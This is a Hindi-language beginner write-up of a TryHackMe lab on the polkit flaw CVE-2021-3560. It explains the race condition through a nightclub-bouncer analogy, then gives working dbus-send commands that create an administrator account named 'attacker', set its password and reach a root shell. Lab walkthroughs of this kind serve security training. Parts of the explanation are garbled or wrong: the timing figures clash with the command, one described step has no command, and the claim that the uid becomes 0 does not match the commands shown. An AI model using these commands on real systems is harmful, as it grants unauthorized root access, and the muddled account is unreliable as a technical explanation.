
TryHackMe के आसान स्तर वाले मॉड्यूल polkit:CVE-2021-3560 के लिए शुरुआती-अनुकूल लेख
हम पहले polkit संस्करण की जाँच करेंगे ताकि कुछ बेहतर जानकारी मिल सके।
apt list --installed | grep policykit-1
policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]
मैंने आपको Polkit की अवधारणा को और बेहतर ढंग से समझाने के लिए deepseek का उपयोग करके एक सरल सादृश्य बनाया है।
नाइटक्लब: Polkit सिस्टम
नाइटक्लब (वीआईपी क्षेत्र): विशेषाधिकार प्राप्त सिस्टम सेवाएँ/क्रियाएँ (ड्राइव माउंट करना, सॉफ़्टवेयर इंस्टॉल करना, नेटवर्क प्रबंधित करना)
दरवाजे पर बाउंसर: Polkit स्वयं, सभी प्रवेश प्रयासों को रोकता हुआ
अतिथि सूची / ड्रेस कोड: Polkit नीति नियम (/usr/share/polkit-1/actions/ और /etc/polkit-1/rules.d/ में संग्रहीत)
वीआईपी पास / क्लब सदस्यता: विशिष्ट Linux समूहों में होना (जैसे wheel, sudo, storage, network)
आईडी जाँच: Polkit उपयोगकर्ता की पहचान और समूह सदस्यता की जाँच कर रहा है
मालिक / प्रबंधक root: उपयोगकर्ता (हर चीज़ तक अप्रतिबंधित पहुँच रखता है)
वीआईपी क्षेत्र में प्रवेश करने की कोशिश कर रहे सामान्य संरक्षक: सामान्य उपयोगकर्ता/प्रोग्राम जो विशेषाधिकार प्राप्त कमांड निष्पादित करने की कोशिश कर रहे हैं
नियम पुस्तिका से परामर्श करता बाउंसर: Polkit उस विशेष क्रिया के लिए कॉन्फ़िगर की गई नीतियों की जाँच कर रहा है
विशेष रिस्टबैंड/पासवर्ड मांगता बाउंसर: प्रमाणीकरण संकेत (पासवर्ड मांगना)
बिना जाँचे किसी को अंदर भेजता बाउंसर: प्रमाणीकरण के बिना क्रिया की अनुमति (विश्वसनीय उपयोगकर्ताओं/समूहों के लिए)
polkit, systemd का sudo है
अब हम इस नाइटक्लब बाउंसर को कुछ चालाक अनुरोधों द्वारा exploit कर सकते हैं ताकि dbus अनुरोधों के लिए क्रेडेंशियल जाँच को बायपास किया जा सके।
आइए इसे उसी पिछले नाइटक्लब बाउंसर सादृश्य का उपयोग करके समझते हैं।
मान लीजिए सामान्य प्रक्रिया ऐसी होती है: बाउंसर आईडी की जाँच करता है, यदि व्यक्ति उस विशेष कार्य को करने के लिए पर्याप्त विशेषाधिकार प्राप्त है तो उसे बाउंसर द्वारा अनुमति दी जाती है। लेकिन इसे exploit करने के लिए हमलावर क्लब सचिव को एक नकली अनुरोध भेजेगा जिसमें कहा गया होगा "मुझे सभी एक्सेस के साथ क्लब मैनेजर बना दो"। अब हमारे पास संदेश के क्लब सचिव तक पहुँचने से पहले 11 मिलीसेकंड हैं और जाहिर है वह इस अनुरोध को स्वीकार नहीं करेगा। इसलिए हमें सचिव तक पहुँचने में लगने वाले समय के आधे समय यानी 0.5 मिलीसेकंड के भीतर अनुरोध को रद्द करना होगा। अब हम उस नोट को छीन लेंगे जिसमें हमारे विशेषाधिकार बढ़ाने का अनुरोध था, ठीक उसी समय जब बाउंसर यह जाँचने वाला होता है कि इसे किसने भेजा है। हम इसे छीन लेते हैं और बाउंसर नहीं बता सकता कि यह किसने किया। अब नोट के पास एक अद्वितीय संख्या है जो अब अनाथ हो गई है। अद्वितीय संख्या सिस्टम में मौजूद है लेकिन मूल नोट चला गया है। अब इस स्थिति से निपटने का डिफ़ॉल्ट प्रोटोकॉल यह है कि बाउंसर मान लेगा कि संदेश क्लब मालिक द्वारा भेजा गया था क्योंकि मैनुअल ऐसा कहता है। यह कुछ इस तरह होता है: बाउंसर पूछता है "अरे, यह संदेश #12345 किसने भेजा?" dbus-daemon अपने रिकॉर्ड में देखता है और बताता है कि "मेरे लॉग में #12345 की ट्रैकिंग है लेकिन मुझे वास्तविक संदेश नहीं मिल रहा...ERROR" इसलिए यह कहने के बजाय कि मुझे नहीं पता कि इसे किसने भेजा, dbus-daemon एक त्रुटि कोड लौटाता है। बाउंसर के प्रशिक्षण मैनुअल में एक बग है। प्रशिक्षण मैनुअल कहता है कि यदि आप नहीं जानते कि कोई विशेष संदेश किसने भेजा है और आपको आईडी की जाँच करने में त्रुटि मिलती है, तो मान लें कि यह क्लब मालिक (uid 0) से है। बाउंसर क्लब सचिव को यह संदेश क्लब मालिक के बारे में बताता है, हालाँकि यह सिर्फ एक प्रॉक्सी है, सचिव इसे मंजूरी दे देता है और फिर क्लब सचिव हमलावर के लिए एक नया क्लब मैनेजर खाता बनाता है। अब हमलावर के पास root उपयोगकर्ता के बराबर विशेषाधिकार हैं।
अब आइए उन कमांड्स को देखें जो हमें तुरंत attacker नामक उपयोगकर्ता दिला देंगे, जिसका पासवर्ड Expl01ted है। इसलिए हम कमांड्स से शुरुआत करते हैं:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
यह कमांड attacker नाम का एक उपयोगकर्ता बनाएगा। हम संदेश को बाउंसर (polkit) द्वारा पढ़े जाने से रोकने के लिए 0.5 मिलीसेकंड के तुरंत बाद बाहर निकल जाते हैं। attacker उपयोगकर्ता के पास अभी भी कोई root क्रेडेंशियल नहीं हैं।
attacker उपयोगकर्ता को अत्यंत आवश्यक root विशेषाधिकार देने के लिए हम निम्न कमांड का उपयोग करेंगे:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
id attacker
अब हम देख सकते हैं कि attacker उपयोगकर्ता की uid 1000 है।
यहाँ हम मूल attacker उपयोगकर्ता की उपयोगकर्ता आईडी जोड़ते हैं जिसके पास कोई विशेषाधिकार नहीं था। यह सुनिश्चित करेगा कि attacker उपयोगकर्ता की आईडी 1000 से 0 हो जाए।
id attacker
अब हम देख सकते हैं कि attacker उपयोगकर्ता की uid 1000 से बदलकर 0 हो गई है, जिसका मतलब है कि हम उच्चतम विशेषाधिकारों वाले root उपयोगकर्ता के समूह में हैं। यहाँ से हम सीधे root के रूप में कमांड निष्पादित कर सकते हैं या हम बस root शेल में जा सकते हैं, जो भी आपको बेहतर लगे।
sudo su